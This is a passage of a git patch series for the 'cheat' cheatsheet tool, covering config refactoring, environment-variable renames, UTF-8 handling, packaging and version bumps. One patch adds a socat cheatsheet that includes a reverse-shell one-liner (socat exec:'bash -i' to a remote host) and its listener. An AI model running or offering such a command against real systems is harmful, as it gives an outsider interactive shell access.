tty - if not self._displaycolors or not sys.stdout.isatty(): + if (self._displaycolors not in ["True", "true", "1", 1] or + not sys.stdout.isatty()): return sheet_content # don't attempt to colorize an empty cheatsheet From 80b8cfc06b11234ddf40a9052e5f1869ada2a58c Mon Sep 17 00:00:00 2001 From: Tomas Korbar Date: Thu, 17 Jan 2019 18:36:02 +0100 Subject: [PATCH 67/97] Add new env variables but hold compatibility with old ones Legacy environmental variables like CHEATCOLORS are now higher in configuration hiearchy than new environmental variables in configuration files --- cheat/configuration.py | 58 +++++++++++++++++++++++++++++------------- cheat/utils.py | 5 +++- config/cheat | 2 +- 3 files changed, 45 insertions(+), 20 deletions(-) diff --git a/cheat/configuration.py b/cheat/configuration.py index e0e95da..1700624 100644 --- a/cheat/configuration.py +++ b/cheat/configuration.py @@ -49,23 +49,26 @@ class Configuration: def _read_env_vars_config(self): read_config = {} - # All these variables are left here because of backwards compatibility - - if (os.environ.get('CHEAT_EDITOR')): - read_config['EDITOR'] = os.environ.get('CHEAT_EDITOR') + # NOTE: These variables are left here because of backwards + # compatibility and are supported only as env vars but not in + # configuration file if (os.environ.get('VISUAL')): read_config['EDITOR'] = os.environ.get('VISUAL') - keys = ['DEFAULT_CHEAT_DIR', - 'CHEATPATH', - 'CHEATCOLORS', - 'EDITOR', - 'CHEAT_HIGHLIGHT' - ] + # variables supported both in environment and configuration file + # NOTE: Variables without CHEAT_ prefix are legacy + # key is variable name and value is its legacy_alias + # if variable has no legacy alias then set to None + variables = {'CHEAT_DEFAULT_DIR': 'DEFAULT_CHEAT_DIR', + 'CHEAT_PATH': 'CHEATPATH', + 'CHEAT_COLORS': 'CHEATCOLORS', + 'CHEAT_EDITOR': 'EDITOR', + 'CHEAT_HIGHLIGHT': None + } - for k in keys: - self._read_env_var(read_config, k) + for (k, v) in variables.items(): + self._read_env_var(read_config, k, v) return read_config @@ -83,9 +86,13 @@ class Configuration: ): Utils.die("%s %s" % ('CHEAT_HIGHLIGHT must be one of:', colors)) - def _read_env_var(self, current_config, key): - if (os.environ.get(key)): + def _read_env_var(self, current_config, key, alias=None): + if os.environ.get(key) is not None: current_config[key] = os.environ.get(key) + return + elif alias is not None and os.environ.get(alias) is not None: + current_config[key] = os.environ.get(alias) + return def _get_global_conf_file_path(self): self.glob_config_path = (os.environ.get('CHEAT_GLOBAL_CONF_PATH') @@ -96,17 +103,32 @@ class Configuration: or os.path.expanduser('~/.config/cheat/cheat')) self.local_config_path = path + def _choose_value(self, primary_value_name, secondary_value_name): + """ Return primary or secondary value in saved_configuration + + If primary value is in configuration then return it. If it is not + then return secondary. In the absence of both values return None + """ + + primary_value = self._saved_configuration.get(primary_value_name) + secondary_value = self._saved_configuration.get(secondary_value_name) + + if primary_value is not None: + return primary_value + else: + return secondary_value + def get_default_cheat_dir(self): - return self._saved_configuration.get('DEFAULT_CHEAT_DIR') + return self._choose_value('CHEAT_DEFAULT_DIR', 'DEFAULT_CHEAT_DIR') def get_cheatpath(self): - return self._saved_configuration.get('CHEATPATH') + return self._choose_value('CHEAT_PATH', 'CHEATPATH') def get_cheatcolors(self): - return self._saved_configuration.get('CHEATCOLORS') + return self._choose_value('CHEAT_COLORS', 'CHEATCOLORS') def get_editor(self): - return self._saved_configuration.get('EDITOR') + return self._choose_value('CHEAT_EDITOR', 'EDITOR') def get_highlight(self): return self._saved_configuration.get('CHEAT_HIGHLIGHT') diff --git a/cheat/utils.py b/cheat/utils.py index 59d062e..e9d79e9 100644 --- a/cheat/utils.py +++ b/cheat/utils.py @@ -32,8 +32,11 @@ class Utils: def colorize(self, sheet_content): """ Colorizes cheatsheet content if so configured """ + # cover all possible positive values to be safe + positive_values = ["True", "true", "1", 1, True] + # only colorize if configured to do so, and if stdout is a tty - if (self._displaycolors not in ["True", "true", "1", 1] or + if (self._displaycolors not in positive_values or not sys.stdout.isatty()): return sheet_content diff --git a/config/cheat b/config/cheat index 3a7537b..d45ba0c 100644 --- a/config/cheat +++ b/config/cheat @@ -1 +1 @@ -{"CHEATCOLORS":true,"EDITOR":"vi"} +{"CHEAT_COLORS":true,"CHEAT_EDITOR":"vi"} From 13c0ea75256e5f274968cc0775be989fc091f4a4 Mon Sep 17 00:00:00 2001 From: Chris Lane Date: Fri, 18 Jan 2019 14:50:00 -0500 Subject: [PATCH 68/97] Addressing issue #372 Previous pull-requests #406 and #413 attempted to resolve #372. They were, however, never merged in. Given that #391 was just merged (which rewrites a significant amount of prior code), I here took what we learned from #406 and #413 and re-implemented it. This approach will be less error-prone than attempting to rebase either of the former on the changes introduced in #391. --- cheat/sheet.py | 3 ++- cheat/sheets.py | 3 ++- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/cheat/sheet.py b/cheat/sheet.py index 5b27f21..81553a1 100644 --- a/cheat/sheet.py +++ b/cheat/sheet.py @@ -1,3 +1,4 @@ +import io import os import shutil @@ -74,5 +75,5 @@ class Sheet: if not self.exists(sheet): Utils.die('No cheatsheet found for ' + sheet) - with open(self.path(sheet)) as cheatfile: + with io.open(self.path(sheet), encoding='utf-8') as cheatfile: return cheatfile.read() diff --git a/cheat/sheets.py b/cheat/sheets.py index 6f772d2..986003d 100644 --- a/cheat/sheets.py +++ b/cheat/sheets.py @@ -1,3 +1,4 @@ +import io import os from cheat.utils import Utils @@ -92,7 +93,7 @@ class Sheets: for cheatsheet in sorted(self.get().items()): match = '' - for line in open(cheatsheet[1]): + for line in io.open(cheatsheet[1], encoding='utf-8'): if term in line: match += ' ' + self._utils.highlight(term, line) From e31933213804b4681db7382d877fae2cb9fab373 Mon Sep 17 00:00:00 2001 From: Chris Lane Date: Mon, 21 Jan 2019 12:58:03 -0500 Subject: [PATCH 69/97] Issue #414 - snap package compatibility PR #391 changed the locaton into which system-wide cheatsheets are installed to `/usr/share/cheat`, in order to comply with FHS. However, this is causing conflicts with the `snap` packaging process. This commit removes hard-coded references to `/usr/share/cheat` (outside of `config/cheat`), and instead reads the cheat path via the `CHEAT_PATH` config value (which may be set either in `cheat/config`, or exported as an environment variable). Lastly, this commit makes `setup.py` "aware of" the `CHEAT_PATH` env var, allowing us to specify to where sytem-wide cheatsheets should be installed during the `snap` build. --- cheat/sheets.py | 1 - config/cheat | 6 +++++- setup.py | 9 ++++++++- 3 files changed, 13 insertions(+), 3 deletions(-) diff --git a/cheat/sheets.py b/cheat/sheets.py index 6f772d2..bb2bab9 100644 --- a/cheat/sheets.py +++ b/cheat/sheets.py @@ -63,7 +63,6 @@ class Sheets: """ Assembles a list of directories containing cheatsheets """ sheet_paths = [ self.default_path(), - '/usr/share/cheat', ] # merge the CHEATPATH paths into the sheet_paths diff --git a/config/cheat b/config/cheat index d45ba0c..fb1db33 100644 --- a/config/cheat +++ b/config/cheat @@ -1 +1,5 @@ -{"CHEAT_COLORS":true,"CHEAT_EDITOR":"vi"} +{ + "CHEAT_COLORS": true, + "CHEAT_EDITOR":"vi", + "CHEAT_PATH":"/usr/share/cheat" +} diff --git a/setup.py b/setup.py index 8a3da9d..879cf8f 100644 --- a/setup.py +++ b/setup.py @@ -1,10 +1,17 @@ from distutils.core import setup import os +# determine the directory in which to install system-wide cheatsheets +# KLUDGE: It would be better to read `/usr/share/cheat` from `config/cheat` +# rather than hard-coding it here +cheat_path = os.environ.get('CHEAT_PATH') or '/usr/share/cheat' + +# aggregate the systme-wide cheatsheets cheat_files = [] for f in os.listdir('cheat/cheatsheets/'): cheat_files.append(os.path.join('cheat/cheatsheets/',f)) +# specify build params setup( name = 'cheat', version = '2.3.1', @@ -26,7 +33,7 @@ setup( 'pygments >= 1.6.0', ], data_files = [ - ('/usr/share/cheat', cheat_files), + (cheat_path, cheat_files), ('/etc', ['config/cheat']), ], ) From b377984b591ef6fad1854f5aca96cfe3361eb820 Mon Sep 17 00:00:00 2001 From: butzel <35037290+butzel-net@users.noreply.github.com> Date: Fri, 25 Jan 2019 12:46:01 +0100 Subject: [PATCH 70/97] suggestion for socat butzel's suggestions for a socat cheatsheet --- cheat/cheatsheets/socat | 37 +++++++++++++++++++++++++++++++++++++ 1 file changed, 37 insertions(+) create mode 100644 cheat/cheatsheets/socat diff --git a/cheat/cheatsheets/socat b/cheat/cheatsheets/socat new file mode 100644 index 0000000..939141f --- /dev/null +++ b/cheat/cheatsheets/socat @@ -0,0 +1,37 @@ +# socat connect to http-server (port 80 on 'butzel.info') +socat TCP4:butzel.info:80 - + +# connect to https-server (port 443 on 'butzel.info' with tls) +socat openssl:butzel.info:443 - + +# tcp-listener (port 3180), output as hexdump (-x) and fork for new connetions +socat -x tcp-listen:3180,fork - + +# practical examples: + +# complete real working http-example: +# (sleep is necessary to prevent socat closing socket before data received) +(echo -e "GET / HTTP/1.1\r\nHost: butzel.info\r\n\r" && sleep 1) \ +| socat tcp4:butzel.info:80 - + +# http to httpS 'Proxy' (for an webserver without TLS-Support) +socat OPENSSL-LISTEN:443,reuseaddr,pf=ip4,fork,cert=server.pem,cafile=client.crt,verify=0 TCP4-CONNECT:127.0.0.1:80 + +# port forwarding (e.g. own port 3180 to port 22(ssh) on target +socat TCP4-LISTEN:3180,reuseaddr,fork TCP4:butzel.info:ssh + +# TOR-forwarding (needs tor-daemon on port 9050 running) +socat tcp4-listen:8080,reuseaddr,fork socks4A:127.0.0.1:t0rhidd3ns3rvice.onion:80,socksport=9050 + +# network (port 8266) to serial bridge (/dev/ttyUSB0 baudrate: 115200) +socat TCP4-LISTEN:8266,fork,reuseaddr /dev/ttyUSB0,raw,crnl,b115200 + +# udp to tcp +socat -u udp-recvfrom:1234,fork tcp:localhost:4321 + +# reverse shell: +socat exec:'bash -i',pty,stderr tcp:remote.butzel.info:3180 + +# listener for above reverse shell (on remote.butzel.info): +socat file:`tty`,raw,echo=0 tcp-listen:3180 +# or: nc -lp 3180 From 1b6b5b79b7e00ab5527221ce82d5f9e1f82e5f0f Mon Sep 17 00:00:00 2001 From: Chris Lane Date: Sun, 27 Jan 2019 14:36:57 -0500 Subject: [PATCH 71/97] Version bump: 2.4.0 Preparing a new `minor` release. --- bin/cheat | 2 +- setup.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/bin/cheat b/bin/cheat index 49e9c03..098ce07 100755 --- a/bin/cheat +++ b/bin/cheat @@ -47,7 +47,7 @@ import os if __name__ == '__main__': # parse the command-line options - options = docopt(__doc__, version='cheat 2.3.1') + options = docopt(__doc__, version='cheat 2.4.0') config = Configuration() sheets = Sheets(config) diff --git a/setup.py b/setup.py index 8a3da9d..c769680 100644 --- a/setup.py +++ b/setup.py @@ -7,7 +7,7 @@ for f in os.listdir('cheat/cheatsheets/'): setup( name = 'cheat', - version = '2.3.1', + version = '2.4.0', author = 'Chris Lane', author_email = 'chris@chris-allen-lane.com', license = 'GPL3', From 9ea60d12ff1213b13533e8e310bca7893a4612d3 Mon Sep 17 00:00:00 2001 From: Chris Lane Date: Tue, 29 Jan 2019 10:58:57 -0500 Subject: [PATCH 72/97] Version-bump to 2.4.1 - Includes various bugfixes regarding UTF-8 encoding - Adds new cheatsheets --- bin/cheat | 2 +- setup.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/bin/cheat b/bin/cheat index 098ce07..23ccef1 100755 --- a/bin/cheat +++ b/bin/cheat @@ -47,7 +47,7 @@ import os if __name__ == '__main__': # parse the command-line options - options = docopt(__doc__, version='cheat 2.4.0') + options = docopt(__doc__, version='cheat 2.4.1') config = Configuration() sheets = Sheets(config) diff --git a/setup.py b/setup.py index d7da93b..f81844c 100644 --- a/setup.py +++ b/setup.py @@ -14,7 +14,7 @@ for f in os.listdir('cheat/cheatsheets/'): # specify build params setup( name = 'cheat', - version = '2.4.0', + version = '2.4.1', author = 'Chris Lane', author_email = 'chris@chris-allen-lane.com', license = 'GPL3', From 09acdf1a69fb4ad602a73700a1f8fc12d7e01418 Mon Sep 17 00:00:00 2001 From: Chris Lane Date: Tue, 29 Jan 2019 11:31:03 -0500 Subject: [PATCH 73/97] README edits Updated the names of the (preferred) cheat-related environment variables, which have been changed in recent versions. --- README.md | 22 +++++++++++----------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/README.md b/README.md index 8132ebc..a9c86e7 100644 --- a/README.md +++ b/README.md @@ -83,37 +83,37 @@ with your [dotfiles][]. Configuring ----------- -### Setting a DEFAULT_CHEAT_DIR ### +### Setting a CHEAT_DEFAULT_DIR ### Personal cheatsheets are saved in the `~/.cheat` directory by default, but you -can specify a different default by exporting a `DEFAULT_CHEAT_DIR` environment +can specify a different default by exporting a `CHEAT_DEFAULT_DIR` environment variable: ```sh -export DEFAULT_CHEAT_DIR='/path/to/my/cheats' +export CHEAT_DEFAULT_DIR='/path/to/my/cheats' ``` -### Setting a CHEATPATH ### +### Setting a CHEAT_PATH ### You can additionally instruct `cheat` to look for cheatsheets in other -directories by exporting a `CHEATPATH` environment variable: +directories by exporting a `CHEAT_PATH` environment variable: ```sh -export CHEATPATH='/path/to/my/cheats' +export CHEAT_PATH='/path/to/my/cheats' ``` -You may, of course, append multiple directories to your `CHEATPATH`: +You may, of course, append multiple directories to your `CHEAT_PATH`: ```sh -export CHEATPATH="$CHEATPATH:/path/to/more/cheats" +export CHEAT_PATH="$CHEAT_PATH:/path/to/more/cheats" ``` -You may view which directories are on your `CHEATPATH` with `cheat -d`. +You may view which directories are on your `CHEAT_PATH` with `cheat -d`. ### Enabling Syntax Highlighting ### `cheat` can optionally apply syntax highlighting to your cheatsheets. To -enable syntax highlighting, export a `CHEATCOLORS` environment variable: +enable syntax highlighting, export a `CHEAT_COLORS` environment variable: ```sh -export CHEATCOLORS=true +export CHEAT_COLORS=true ``` Note that [pygments][] must be installed on your system for this to work. From 5ae49228b709e6c5671096984e0db62010ac86e4 Mon Sep 17 00:00:00 2001 From: Chris Lane Date: Tue, 29 Jan 2019 11:42:14 -0500 Subject: [PATCH 74/97] Added termcolor dependency to setup.py Added a missing `termcolor` dependency to `install_requires` in `setup.py`. `termcolors` was introduced as an optional dependency when the `CHEAT_HIGHLIGHT` envvar was implemented. --- setup.py | 1 + 1 file changed, 1 insertion(+) diff --git a/setup.py b/setup.py index f81844c..b4f051e 100644 --- a/setup.py +++ b/setup.py @@ -31,6 +31,7 @@ setup( install_requires = [ 'docopt >= 0.6.1', 'pygments >= 1.6.0', + 'termcolor >= 1.1.0', ], data_files = [ (cheat_path, cheat_files), From c922ef4c8d77c759c2dba5ee8656950b4685ce4e Mon Sep 17 00:00:00 2001 From: Chris Lane Date: Tue, 29 Jan 2019 11:45:43 -0500 Subject: [PATCH 75/97] Version bump: 2.4.2 Contains `termcolor` dependency fix. --- bin/cheat | 2 +- setup.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/bin/cheat b/bin/cheat index 23ccef1..252e52a 100755 --- a/bin/cheat +++ b/bin/cheat @@ -47,7 +47,7 @@ import os if __name__ == '__main__': # parse the command-line options - options = docopt(__doc__, version='cheat 2.4.1') + options = docopt(__doc__, version='cheat 2.4.2') config = Configuration() sheets = Sheets(config) diff --git a/setup.py b/setup.py index b4f051e..43cc96a 100644 --- a/setup.py +++ b/setup.py @@ -14,7 +14,7 @@ for f in os.listdir('cheat/cheatsheets/'): # specify build params setup( name = 'cheat', - version = '2.4.1', + version = '2.4.2', author = 'Chris Lane', author_email = 'chris@chris-allen-lane.com', license = 'GPL3', From 8f757d7735fb798e4d119527fd6df50ea3eaaf80 Mon Sep 17 00:00:00 2001 From: Chris Lane Date: Thu, 31 Jan 2019 16:45:28 -0500 Subject: [PATCH 76/97] Refactored (1) Performed a general refactoring, focusing on the following: - Removing layers of abstraction in config handling - Stubbing out proper config validator - Updating envvar names located throughout the project --- bin/cheat | 5 +- cheat/configuration.py | 181 +++++++++++++++++------------------------ cheat/sheets.py | 21 ++--- cheat/utils.py | 22 ++--- config/cheat | 6 +- 5 files changed, 99 insertions(+), 136 deletions(-) diff --git a/bin/cheat b/bin/cheat index 252e52a..5e90ec4 100755 --- a/bin/cheat +++ b/bin/cheat @@ -43,13 +43,16 @@ from cheat.configuration import Configuration from docopt import docopt import os - if __name__ == '__main__': # parse the command-line options options = docopt(__doc__, version='cheat 2.4.2') + # initialize and validate configs config = Configuration() + config.validate() + + # bootsrap sheets = Sheets(config) utils = Utils(config) sheet = Sheet(sheets, utils) diff --git a/cheat/configuration.py b/cheat/configuration.py index 1700624..da3ed7d 100644 --- a/cheat/configuration.py +++ b/cheat/configuration.py @@ -2,133 +2,98 @@ import os from cheat.utils import Utils import json - class Configuration: def __init__(self): - self._get_global_conf_file_path() - self._get_local_conf_file_path() - self._saved_configuration = self._get_configuration() - - def _get_configuration(self): - # get options from config files and environment vairables - merged_config = {} + # compute the location of the config files + config_file_path_global = os.environ.get('CHEAT_GLOBAL_CONF_PATH') \ + or '/etc/cheat' + config_file_path_local = (os.environ.get('CHEAT_LOCAL_CONF_PATH') \ + or os.path.expanduser('~/.config/cheat/cheat')) + # attempt to read the global config file + config = {} try: - merged_config.update( - self._read_configuration_file(self.glob_config_path) - ) + config.update(self._read_config_file(config_file_path_global)) except Exception as e: - Utils.warn('error while parsing global configuration Reason: ' - + e.message - ) + Utils.warn('Error while parsing global configuration: ' + e.message) + # attempt to read the local config file try: - merged_config.update( - self._read_configuration_file(self.local_config_path) - ) + config.update(self._read_config_file(config_file_path_local)) except Exception as e: - Utils.warn('error while parsing user configuration Reason: ' - + e.message - ) + Utils.warn('Error while parsing local configuration: ' + e.message) - merged_config.update(self._read_env_vars_config()) + # With config files read, now begin to apply envvar overrides and + # default values - self._check_configuration(merged_config) + # self.cheat_colors + self.cheat_colors = self._select([ + os.environ.get('CHEAT_COLORS'), + os.environ.get('CHEATCOLORS'), + config.get('CHEAT_COLORS'), + True, + ]) + # convert strings to bool as necessary + if (isinstance(self.cheat_colors, str)): + self.cheat_colors = True \ + if self.cheat_colors.strip().lower() == 'true' \ + else False - return merged_config + # self.cheat_default_dir + self.cheat_default_dir = self._select([ + os.environ.get('CHEAT_DEFAULT_DIR'), + os.environ.get('DEFAULT_CHEAT_DIR'), + '~/.cheat', + ]) - def _read_configuration_file(self, path): + # self.cheat_editor + self.cheat_editor = self._select([ + os.environ.get('CHEAT_EDITOR'), + os.environ.get('EDITOR'), + os.environ.get('VISUAL'), + config.get('CHEAT_EDITOR'), + 'vi', + ]) + + # self.cheat_highlight + self.cheat_highlight = self._select([ + os.environ.get('CHEAT_HIGHLIGHT'), + config.get('CHEAT_HIGHLIGHT'), + False, + ]) + + # self.cheat_path + self.cheat_path = self._select([ + os.environ.get('CHEAT_PATH'), + os.environ.get('CHEATPATH'), + config.get('CHEAT_PATH'), + '/usr/share/cheat', + ]) + + def _read_config_file(self, path): # Reads configuration file and returns list of set variables - read_config = {} + config = {} if (os.path.isfile(path)): with open(path) as config_file: - read_config.update(json.load(config_file)) - return read_config + config.update(json.load(config_file)) + return config - def _read_env_vars_config(self): - read_config = {} + def _select(self, values): + for v in values: + if v is not None: + return v - # NOTE: These variables are left here because of backwards - # compatibility and are supported only as env vars but not in - # configuration file + def validate(self): + """ Validate configuration parameters """ - if (os.environ.get('VISUAL')): - read_config['EDITOR'] = os.environ.get('VISUAL') - - # variables supported both in environment and configuration file - # NOTE: Variables without CHEAT_ prefix are legacy - # key is variable name and value is its legacy_alias - # if variable has no legacy alias then set to None - variables = {'CHEAT_DEFAULT_DIR': 'DEFAULT_CHEAT_DIR', - 'CHEAT_PATH': 'CHEATPATH', - 'CHEAT_COLORS': 'CHEATCOLORS', - 'CHEAT_EDITOR': 'EDITOR', - 'CHEAT_HIGHLIGHT': None - } - - for (k, v) in variables.items(): - self._read_env_var(read_config, k, v) - - return read_config - - def _check_configuration(self, config): - """ Check values in config and warn user or die """ - - # validate CHEAT_HIGHLIGHT values if set - colors = [ + # assert that cheat_highlight contains a valid value + highlights = [ 'grey', 'red', 'green', 'yellow', - 'blue', 'magenta', 'cyan', 'white' + 'blue', 'magenta', 'cyan', 'white', + False ] - if ( - config.get('CHEAT_HIGHLIGHT') and - config.get('CHEAT_HIGHLIGHT') not in colors - ): - Utils.die("%s %s" % ('CHEAT_HIGHLIGHT must be one of:', colors)) + if (self.cheat_highlight not in highlights): + Utils.die("%s %s" % ('CHEAT_HIGHLIGHT must be one of:', highlights)) - def _read_env_var(self, current_config, key, alias=None): - if os.environ.get(key) is not None: - current_config[key] = os.environ.get(key) - return - elif alias is not None and os.environ.get(alias) is not None: - current_config[key] = os.environ.get(alias) - return - - def _get_global_conf_file_path(self): - self.glob_config_path = (os.environ.get('CHEAT_GLOBAL_CONF_PATH') - or '/etc/cheat') - - def _get_local_conf_file_path(self): - path = (os.environ.get('CHEAT_LOCAL_CONF_PATH') - or os.path.expanduser('~/.config/cheat/cheat')) - self.local_config_path = path - - def _choose_value(self, primary_value_name, secondary_value_name): - """ Return primary or secondary value in saved_configuration - - If primary value is in configuration then return it. If it is not - then return secondary. In the absence of both values return None - """ - - primary_value = self._saved_configuration.get(primary_value_name) - secondary_value = self._saved_configuration.get(secondary_value_name) - - if primary_value is not None: - return primary_value - else: - return secondary_value - - def get_default_cheat_dir(self): - return self._choose_value('CHEAT_DEFAULT_DIR', 'DEFAULT_CHEAT_DIR') - - def get_cheatpath(self): - return self._choose_value('CHEAT_PATH', 'CHEATPATH') - - def get_cheatcolors(self): - return self._choose_value('CHEAT_COLORS', 'CHEATCOLORS') - - def get_editor(self): - return self._choose_value('CHEAT_EDITOR', 'EDITOR') - - def get_highlight(self): - return self._saved_configuration.get('CHEAT_HIGHLIGHT') + return True diff --git a/cheat/sheets.py b/cheat/sheets.py index 201c87d..f45c225 100644 --- a/cheat/sheets.py +++ b/cheat/sheets.py @@ -7,20 +7,21 @@ from cheat.utils import Utils class Sheets: def __init__(self, config): - self._default_cheat_dir = config.get_default_cheat_dir() - self._cheatpath = config.get_cheatpath() + self._config = config self._utils = Utils(config) def default_path(self): """ Returns the default cheatsheet path """ # determine the default cheatsheet dir - default_sheets_dir = (self._default_cheat_dir or + # TODO: should probably rename `CHEAT_DEFAULT_DIR` to + # `CHEAT_USER_DIR` or something for clarity. + default_sheets_dir = (self._config.cheat_default_dir or os.path.join('~', '.cheat')) default_sheets_dir = os.path.expanduser( os.path.expandvars(default_sheets_dir)) - # create the DEFAULT_CHEAT_DIR if it does not exist + # create the CHEAT_DEFAULT_DIR if it does not exist if not os.path.isdir(default_sheets_dir): try: # @kludge: unclear on why this is necessary @@ -28,15 +29,15 @@ class Sheets: os.mkdir(default_sheets_dir) except OSError: - Utils.die('Could not create DEFAULT_CHEAT_DIR') + Utils.die('Could not create CHEAT_DEFAULT_DIR') - # assert that the DEFAULT_CHEAT_DIR is readable and writable + # assert that the CHEAT_DEFAULT_DIR is readable and writable if not os.access(default_sheets_dir, os.R_OK): - Utils.die('The DEFAULT_CHEAT_DIR (' + Utils.die('The CHEAT_DEFAULT_DIR (' + default_sheets_dir + ') is not readable.') if not os.access(default_sheets_dir, os.W_OK): - Utils.die('The DEFAULT_CHEAT_DIR (' + Utils.die('The CHEAT_DEFAULT_DIR (' + default_sheets_dir + ') is not writable.') @@ -67,8 +68,8 @@ class Sheets: ] # merge the CHEATPATH paths into the sheet_paths - if self._cheatpath: - for path in self._cheatpath.split(os.pathsep): + if self._config.cheat_path: + for path in self._config.cheat_path.split(os.pathsep): if os.path.isdir(path): sheet_paths.append(path) diff --git a/cheat/utils.py b/cheat/utils.py index e9d79e9..f1a46a3 100644 --- a/cheat/utils.py +++ b/cheat/utils.py @@ -7,15 +7,13 @@ import sys class Utils: def __init__(self, config): - self._displaycolors = config.get_cheatcolors() - self._editor_executable = config.get_editor() - self._highlight_color = config.get_highlight() + self._config = config def highlight(self, needle, haystack): """ Highlights a search term matched within a line """ # if a highlight color is not configured, exit early - if not self._highlight_color: + if not self._config.cheat_highlight: return haystack # otherwise, attempt to import the termcolor library @@ -27,18 +25,14 @@ class Utils: return haystack # if the import succeeds, colorize the needle in haystack - return haystack.replace(needle, colored(needle, self._highlight_color)) + return haystack.replace(needle, colored(needle, self._config.cheat_highlight)) def colorize(self, sheet_content): """ Colorizes cheatsheet content if so configured """ - # cover all possible positive values to be safe - positive_values = ["True", "true", "1", 1, True] - - # only colorize if configured to do so, and if stdout is a tty - if (self._displaycolors not in positive_values or - not sys.stdout.isatty()): - return sheet_content + # only colorize if cheat_colors is true, and stdout is a tty + if (self._config.cheat_colors is False or not sys.stdout.isatty()): + return sheet_content # don't attempt to colorize an empty cheatsheet if not sheet_content.strip(): @@ -78,13 +72,13 @@ class Utils: """ Determines the user's preferred editor """ # assert that the editor is set - if (not self._editor_executable): + if (not self._config.cheat_editor): Utils.die( 'You must set a CHEAT_EDITOR, VISUAL, or EDITOR environment ' 'variable or setting in order to create/edit a cheatsheet.' ) - return self._editor_executable + return self._config.cheat_editor def open_with_editor(self, filepath): """ Open `filepath` using the EDITOR specified by the env variables """ diff --git a/config/cheat b/config/cheat index fb1db33..bb18291 100644 --- a/config/cheat +++ b/config/cheat @@ -1,5 +1,5 @@ { - "CHEAT_COLORS": true, - "CHEAT_EDITOR":"vi", - "CHEAT_PATH":"/usr/share/cheat" + "CHEAT_COLORS" : true, + "CHEAT_EDITOR" : "vi", + "CHEAT_PATH" : "/usr/share/cheat" } From ab87bb11c46051aa65f75dacf4d9dc1b97cab029 Mon Sep 17 00:00:00 2001 From: Chris Lane Date: Thu, 31 Jan 2019 17:01:46 -0500 Subject: [PATCH 77/97] Refactored (2) Created an `Editor` class out methods in the `Util` class to enhance code clarity. --- bin/cheat | 10 ++++++---- cheat/editor.py | 28 ++++++++++++++++++++++++++++ cheat/sheet.py | 8 +++++--- cheat/utils.py | 20 -------------------- 4 files changed, 39 insertions(+), 27 deletions(-) create mode 100644 cheat/editor.py diff --git a/bin/cheat b/bin/cheat index 5e90ec4..2b518e7 100755 --- a/bin/cheat +++ b/bin/cheat @@ -36,10 +36,11 @@ Examples: # require the dependencies from __future__ import print_function -from cheat.sheets import Sheets -from cheat.sheet import Sheet -from cheat.utils import Utils from cheat.configuration import Configuration +from cheat.editor import Editor +from cheat.sheet import Sheet +from cheat.sheets import Sheets +from cheat.utils import Utils from docopt import docopt import os @@ -53,9 +54,10 @@ if __name__ == '__main__': config.validate() # bootsrap + editor = Editor(config) sheets = Sheets(config) utils = Utils(config) - sheet = Sheet(sheets, utils) + sheet = Sheet(sheets, utils, editor) # list directories if options['--directories']: diff --git a/cheat/editor.py b/cheat/editor.py new file mode 100644 index 0000000..cb35bd9 --- /dev/null +++ b/cheat/editor.py @@ -0,0 +1,28 @@ +from __future__ import print_function +import subprocess + + +class Editor: + + def __init__(self, config): + self._config = config + + def editor(self): + """ Determines the user's preferred editor """ + + # assert that the editor is set + if (not self._config.cheat_editor): + Utils.die( + 'You must set a CHEAT_EDITOR, VISUAL, or EDITOR environment ' + 'variable or setting in order to create/edit a cheatsheet.' + ) + + return self._config.cheat_editor + + def open(self, filepath): + """ Open `filepath` using the EDITOR specified by the env variables """ + editor_cmd = self.editor().split() + try: + subprocess.call(editor_cmd + [filepath]) + except OSError: + Utils.die('Could not launch ' + self.editor()) diff --git a/cheat/sheet.py b/cheat/sheet.py index 81553a1..0fffd82 100644 --- a/cheat/sheet.py +++ b/cheat/sheet.py @@ -2,14 +2,16 @@ import io import os import shutil +from cheat.editor import Editor from cheat.utils import Utils class Sheet: - def __init__(self, sheets, utils): + def __init__(self, sheets, utils, editor): self._sheets = sheets self._utils = utils + self._editor = editor def copy(self, current_sheet_path, new_sheet_path): """ Copies a sheet to a new path """ @@ -44,11 +46,11 @@ class Sheet: def create(self, sheet): """ Creates a cheatsheet """ new_sheet_path = os.path.join(self._sheets.default_path(), sheet) - self._utils.open_with_editor(new_sheet_path) + self._editor.open(new_sheet_path) def edit(self, sheet): """ Opens a cheatsheet for editing """ - self._utils.open_with_editor(self.path(sheet)) + self._editor.open(self.path(sheet)) def exists(self, sheet): """ Predicate that returns true if the sheet exists """ diff --git a/cheat/utils.py b/cheat/utils.py index f1a46a3..fad1453 100644 --- a/cheat/utils.py +++ b/cheat/utils.py @@ -68,26 +68,6 @@ class Utils: Utils.warn(message) exit(1) - def editor(self): - """ Determines the user's preferred editor """ - - # assert that the editor is set - if (not self._config.cheat_editor): - Utils.die( - 'You must set a CHEAT_EDITOR, VISUAL, or EDITOR environment ' - 'variable or setting in order to create/edit a cheatsheet.' - ) - - return self._config.cheat_editor - - def open_with_editor(self, filepath): - """ Open `filepath` using the EDITOR specified by the env variables """ - editor_cmd = self.editor().split() - try: - subprocess.call(editor_cmd + [filepath]) - except OSError: - Utils.die('Could not launch ' + self.editor()) - @staticmethod def warn(message): """ Prints a message to stderr """ From 928637c9db06b9f08f1bc6e124e3feffb5de4457 Mon Sep 17 00:00:00 2001 From: Chris Lane Date: Thu, 31 Jan 2019 17:14:21 -0500 Subject: [PATCH 78/97] Refactored (3) Removed unnecessary `import` calls. --- bin/cheat | 3 +-- cheat/sheet.py | 6 +----- cheat/utils.py | 2 -- 3 files changed, 2 insertions(+), 9 deletions(-) diff --git a/bin/cheat b/bin/cheat index 2b518e7..7358e93 100755 --- a/bin/cheat +++ b/bin/cheat @@ -42,7 +42,6 @@ from cheat.sheet import Sheet from cheat.sheets import Sheets from cheat.utils import Utils from docopt import docopt -import os if __name__ == '__main__': @@ -57,7 +56,7 @@ if __name__ == '__main__': editor = Editor(config) sheets = Sheets(config) utils = Utils(config) - sheet = Sheet(sheets, utils, editor) + sheet = Sheet(sheets, editor) # list directories if options['--directories']: diff --git a/cheat/sheet.py b/cheat/sheet.py index 0fffd82..cf7fbfe 100644 --- a/cheat/sheet.py +++ b/cheat/sheet.py @@ -2,15 +2,11 @@ import io import os import shutil -from cheat.editor import Editor -from cheat.utils 